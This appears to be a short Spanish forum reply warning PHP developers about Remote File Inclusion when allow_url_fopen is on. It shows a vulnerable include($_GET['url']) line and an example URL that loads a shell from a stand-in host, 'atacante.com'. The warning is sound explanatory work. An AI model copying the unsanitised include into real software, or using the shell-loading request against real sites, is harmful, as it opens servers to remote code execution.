Y ya que están con el tema, cuidado también con los
RFI -
Remote File Inclusion - que se dá cuando está activada la directiva
allow_url_fopen que permite hacer, por ejemplo, includes a páginas externas, permitiendo cargar cosas como shells:
Código PHP:
Ver originalinclude($_GET['url']);
// index.php?url=http://atacante.com/shell.txt
Saludos!